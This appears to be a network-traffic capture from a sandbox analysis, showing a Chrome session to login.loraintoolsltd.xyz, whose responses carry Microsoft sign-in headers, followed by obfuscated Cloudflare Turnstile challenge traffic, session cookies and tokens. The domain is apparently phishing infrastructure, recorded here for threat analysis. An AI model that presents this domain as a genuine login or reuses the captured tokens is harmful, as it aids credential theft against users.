8	192.168.2.4	49744	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:48 UTC	696	OUT	GET /favicon.ico HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.loraintoolsltd.xyz/FgJIoRDm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd
2025-01-22 05:33:49 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-22 05:33:49 UTC	24	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
2025-01-22 05:33:49 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:33:49 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 33 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:33:48 GMT
2025-01-22 05:33:49 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 05:33:49 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:33:49 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 05:33:49 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}
2025-01-22 05:33:49 UTC	80	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2025-01-22 05:33:49 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-22 05:33:49 UTC	49	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 38 37 30 2e 33 20 2d 20 4e 43 55 53 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.19870.3 - NCUS ProdSlices

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49753	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:48 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:49 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 905d2bdd7b2a80e2-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:49 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d2bd4e92c7280&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:49 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113311 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 905d2bdf7fe14396-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:49 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 4b 4d 72 57 68 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.KMrWh3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f Data Ascii: ack_report":"Having%20trouble%3F","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 38 2c 66 39 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 39 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 33 34 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 37 32 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 31 39 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 33 31 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 33 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 30 38 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f8,f9){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1409))/1(-parseInt(gI(334))/2)+-parseInt(gI(272))/3+parseInt(gI(319))/4+-parseInt(gI(1531))/5+parseInt(gI(603))/6(parseInt(gI(1608))/7)+parseInt(gI(
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 5b 68 78 28 33 37 32 29 5d 3b 43 2b 2b 29 69 66 28 44 3d 78 5b 43 5d 2c 45 3d 66 34 28 67 2c 68 2c 44 29 2c 42 28 45 29 29 7b 69 66 28 6f 5b 68 78 28 35 30 38 29 5d 21 3d 3d 6f 5b 68 78 28 35 30 38 29 5d 29 72 65 74 75 72 6e 20 48 3d 69 7c 7c 6a 2c 21 48 5b 44 5d 3f 27 27 3a 42 28 45 2c 48 5b 43 5d 29 3b 65 6c 73 65 20 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 68 78 28 35 35 34 29 5d 28 68 5b 44 5d 29 2c 68 78 28 31 31 39 39 29 3d 3d 3d 6f 5b 68 78 28 39 38 39 29 5d 28 69 2c 44 29 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 68 78 28 35 39 30 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 7d 65 6c 73 65 20 6f 5b 68 78 28 35 39 30 29 5d 28 73 2c 6f 5b 68 78 28 39 38 39 29 5d 28 69 2c 44 29 2c 45 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 Data Ascii: [hx(372)];C++)if(D=x[C],E=f4(g,h,D),B(E)){if(o[hx(508)]!==o[hx(508)])return H=i\|\|j,!H[D]?'':B(E,H[C]);else F='s'===E&&!g[hx(554)](h[D]),hx(1199)===o[hx(989)](i,D)?s(i+D,E):F\|\|o[hx(590)](s,i+D,h[D])}else o[hx(590)](s,o[hx(989)](i,D),E);return j;function s(
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 54 78 71 75 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 65 55 55 50 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 55 65 51 62 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 54 72 46 6c 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 64 75 56 55 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 59 73 65 6e 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 47 6b 72 50 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 63 Data Ascii: return h&i},'Txquy':function(h,i){return h-i},'eUUPo':function(h,i){return h<i},'UeQbB':function(h,i){return h==i},'TrFlJ':function(h,i){return h(i)},'duVUa':function(h,i){return i\|h},'Ysenr':function(h,i){return h==i},'GkrPh':function(h,i){return i\|h},'c
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 64 5b 69 63 28 31 33 37 33 29 5d 28 4a 2c 64 5b 69 63 28 31 36 34 37 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 69 63 28 35 32 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 69 63 28 33 39 37 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 69 63 28 39 35 38 29 5d 28 38 2c 78 29 3b 49 3d 64 5b 69 63 28 31 36 34 31 29 5d 28 49 3c 3c 31 2c 31 2e 38 34 26 4e 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 69 63 28 35 32 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 64 5b 69 63 28 33 39 30 29 5d 28 78 2c 47 29 3b 49 3d 49 3c 3c 31 7c 4e 2c 64 5b 69 63 28 31 35 37 32 29 5d 28 4a 2c 64 5b 69 63 28 31 36 34 37 29 5d 28 6a Data Ascii: d[ic(1373)](J,d[ic(1647)](j,1))?(J=0,H[ic(525)](o(I)),I=0):J++,x++);for(N=D[ic(397)](0),x=0;d[ic(958)](8,x);I=d[ic(1641)](I<<1,1.84&N),j-1==J?(J=0,H[ic(525)](o(I)),I=0):J++,N>>=1,x++);}}else{for(N=1,x=0;d[ic(390)](x,G);I=I<<1\|N,d[ic(1572)](J,d[ic(1647)](j
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 63 28 31 32 31 39 29 5d 28 64 5b 69 63 28 31 35 36 39 29 5d 28 49 2c 31 29 2c 64 5b 69 63 28 36 38 38 29 5d 28 4e 2c 31 29 29 2c 64 5b 69 63 28 31 35 37 32 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 69 63 28 35 32 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 45 2d 2d 2c 64 5b 69 63 28 33 38 30 29 5d 28 30 2c 45 29 26 26 47 2b 2b 7d 7d 66 6f 72 28 4e 3d 32 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 63 28 36 38 37 29 5d 28 49 3c 3c 31 2e 33 31 2c 31 2e 35 33 26 4e 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 69 63 28 35 32 35 29 5d 28 64 5b 69 63 28 34 37 32 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a Data Ascii: C[D]}else for(N=B[D],x=0;x<G;I=d[ic(1219)](d[ic(1569)](I,1),d[ic(688)](N,1)),d[ic(1572)](J,j-1)?(J=0,H[ic(525)](o(I)),I=0):J++,N>>=1,x++);E--,d[ic(380)](0,E)&&G++}}for(N=2,x=0;x<G;I=d[ic(687)](I<<1.31,1.53&N),j-1==J?(J=0,H[ic(525)](d[ic(472)](o,I)),I=0):J
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 2c 64 5b 69 68 28 31 34 39 37 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 69 68 28 34 34 31 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4f 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4f 2c 44 5b 69 68 28 35 32 35 29 5d 28 4f 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 68 28 37 30 38 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 48 26 47 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4e 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4f 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f Data Ascii: ,d[ih(1497)](0,H)&&(H=j,G=o(I++)),J\|=d[ih(441)](0<N?1:0,F),F<<=1);O=e(J);break;case 2:return''}for(E=s[3]=O,D[ih(525)](O);;){if(I>i)return'';for(J=0,K=Math[ih(708)](2,C),F=1;F!=K;N=H&G,H>>=1,0==H&&(H=j,G=o(I++)),J\|=F*(0<N?1:0),F<<=1);switch(O=J){case 0:fo
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 69 6b 28 35 33 30 29 5d 3d 69 6b 28 36 39 32 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 69 6b 28 31 32 30 34 29 5d 5b 69 6b 28 31 36 32 31 29 5d 28 32 2e 30 31 3c 3c 66 2c 33 32 29 2c 65 4d 5b 69 6b 28 32 38 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 6c 29 7b 69 6c 3d 69 6b 2c 65 4d 5b 65 5b 69 6c 28 36 38 34 29 5d 5d 26 26 28 65 4d 5b 69 6c 28 35 37 39 29 5d 5b 69 6c 28 36 31 33 29 5d 28 29 2c 65 4d 5b 69 6c 28 35 37 39 29 5d 5b 69 6c 28 31 36 32 32 29 5d 28 29 2c 65 4d 5b 69 6c 28 31 30 31 39 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 69 6c 28 36 38 34 29 5d 5d 5b 69 6c 28 34 33 37 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 69 6c 28 31 31 30 39 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 69 6c 28 33 31 33 29 5d 5b 69 6c 28 37 32 35 29 5d 2c 27 Data Ascii: ik(530)]=ik(692),e=d,f=1,g=1e3*eM[ik(1204)][ik(1621)](2.01<<f,32),eM[ik(285)](function(il){il=ik,eM[e[il(684)]]&&(eM[il(579)][il(613)](),eM[il(579)][il(1622)](),eM[il(1019)]=!![],eM[e[il(684)]][il(437)]({'source':il(1109),'widgetId':eM[il(313)][il(725)],'
2025-01-22 05:33:49 UTC	1369	IN	Data Raw: 67 2c 44 5b 69 6d 28 33 30 31 29 5d 3d 6c 2c 44 2e 63 63 3d 68 2c 44 5b 69 6d 28 31 30 33 36 29 5d 3d 6d 2c 44 5b 69 6d 28 31 32 30 39 29 5d 3d 78 2c 45 3d 4a 53 4f 4e 5b 69 6d 28 36 31 37 29 5d 28 44 29 2c 46 3d 66 42 5b 69 6d 28 34 39 30 29 5d 28 45 29 5b 69 6d 28 37 34 31 29 5d 28 27 2b 27 2c 6b 5b 69 6d 28 31 31 35 37 29 5d 29 2c 42 5b 69 6d 28 31 35 36 30 29 5d 28 6b 5b 69 6d 28 31 35 35 36 29 5d 28 27 76 5f 27 2c 65 4d 5b 69 6d 28 33 31 33 29 5d 5b 69 6d 28 34 34 34 29 5d 29 2b 27 3d 27 2b 46 29 7d 63 61 74 63 68 28 47 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 36 37 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 69 6f 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 69 6f 3d 67 4a 2c 65 3d 7b 27 65 51 48 65 50 27 3a 66 75 6e 63 74 69 6f 6e 28 6e Data Ascii: g,D[im(301)]=l,D.cc=h,D[im(1036)]=m,D[im(1209)]=x,E=JSON[im(617)](D),F=fB[im(490)](E)[im(741)]('+',k[im(1157)]),B[im(1560)](k[im(1556)]('v_',eM[im(313)][im(444)])+'='+F)}catch(G){}},eM[gJ(678)]=function(d,io,e,f,g,h,i,j,k,l,m){(io=gJ,e={'eQHeP':function(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49755	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:49 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3299 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:49 UTC	3299	OUT	Data Raw: 76 5f 39 30 35 64 32 62 64 34 65 39 32 63 37 32 38 30 3d 34 6d 68 25 32 62 73 2b 57 2b 4a 2b 4f 2b 5a 2b 32 73 33 43 73 33 4f 44 2b 66 6c 58 78 2b 33 6d 24 4a 64 33 41 4e 33 32 57 2b 42 48 33 52 49 33 43 70 39 69 6f 32 79 39 68 33 4c 2b 48 78 2b 32 64 33 4d 24 2b 33 79 5a 48 78 38 33 6c 49 6c 7a 33 61 7a 33 35 55 65 4f 42 5a 33 69 6c 6f 33 63 33 2b 42 2d 44 57 63 67 76 62 72 33 53 2b 33 6e 75 4e 2b 32 6e 33 75 2b 42 35 69 38 4f 39 6f 57 42 48 5a 62 54 50 66 4d 38 4e 2b 61 53 79 33 4f 57 42 35 33 32 74 32 5a 32 6d 69 75 57 42 6b 33 32 71 33 71 4b 4f 57 68 64 77 32 77 57 33 49 4f 2d 5a 45 2d 68 6f 33 38 64 4c 33 75 56 52 33 71 2d 61 45 61 33 33 30 69 33 42 42 71 55 6c 36 33 24 51 32 33 32 79 33 75 4b 31 6a 57 2d 79 33 53 2d 41 44 43 59 79 4a 6d 49 6e 61 61 Data Ascii: v_905d2bd4e92c7280=4mh%2bs+W+J+O+Z+2s3Cs3OD+flXx+3m$Jd3AN32W+BH3RI3Cp9io2y9h3L+Hx+2d3M$+3yZHx83lIlz3az35UeOBZ3ilo3c3+B-DWcgvbr3S+3nuN+2n3u+B5i8O9oWBHZbTPfM8N+aSy3OWB532t2Z2miuWBk32q3qKOWhdw2wW3IO-ZE-ho38dL3uVR3q-aEa330i3BBqUl63$Q232y3uK1jW-y3S-ADCYyJmInaa
2025-01-22 05:33:49 UTC	771	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:49 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 160316 Connection: close cf-chl-gen: ZvETKdiBZiXhYezDXx3fn7HzFZ7cRLN6oB0drrywDuaVJ6/6jgYV8LxJwg/GmcMO98dNp2fefbYrTPlYO3kPLqUePsuGfHQ9VFYYaOVNfHPeiDft62NA4mkSz//pspXla9ch5vELHG5p9jEAkZfQlq0cxgKqg7Mp+lT7Ny/zr6huh/O58E4Hm6icjQBGKW2I2/hNb0pkj3vB6Cb7vT5hqXs7lWwEv5CifcYNYytssepVq8HR/oYhlVefh3nTREBfbhiHC+1q3fB4BV9OenXR6oW4RWKw8Gvsp0x2jAJBx3wKEcwyXT7cu4JVurZP0VHjvJWcq3MoivSP71+sOj3GzsQj+jdZsxDuSiNH7G2Fw3awdjkrcUz3Y2BU6VtCTQlfUWUQ1++emg3nI+g1easwHqOBHnWiRjAJHgJJZFcxRV0wJBXspubc1Q6FUfk3jJ9q67gbe/KLkaX2oLswQzPnsTMHbfxKb6ZlDDdWoHM1ZsN10/Zbvp7jpPN13J1q+EZ3$4B5M7QhdOut9J14IcPO88A== Server: cloudflare CF-RAY: 905d2bdfbc020f51-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:49 UTC	598	IN	Data Raw: 65 6d 61 50 53 57 32 56 64 6f 35 70 6d 46 64 7a 56 5a 70 65 62 48 4b 67 57 5a 56 79 6c 58 71 67 6d 6e 36 62 59 59 57 61 72 4b 56 35 73 4b 64 7a 63 6f 61 42 6c 6d 35 77 6c 6f 57 4d 6c 5a 4b 4f 6a 6e 4f 75 6d 33 7a 43 68 70 65 51 78 38 53 6f 6e 48 2b 73 70 34 79 6f 6b 71 4b 63 72 72 4c 50 70 39 43 6c 7a 4a 4b 56 74 74 4f 79 71 37 62 62 74 4f 58 63 34 72 6e 59 33 73 4f 6e 32 71 37 4a 76 50 44 63 33 63 44 30 34 4f 50 49 36 4d 37 73 7a 65 33 32 31 37 71 33 77 74 48 52 42 74 72 35 32 51 72 65 2b 39 72 75 32 66 76 47 79 41 44 51 34 65 38 4e 2b 4f 58 34 39 42 6b 58 35 66 6a 6f 41 66 62 5a 45 67 62 31 37 68 41 59 41 66 67 45 36 65 50 75 43 66 34 79 41 79 55 44 2f 68 4d 6f 41 79 6e 31 4a 77 37 35 43 69 73 52 45 42 6b 4d 45 7a 77 69 4f 68 30 33 43 6a 38 62 51 78 34 Data Ascii: 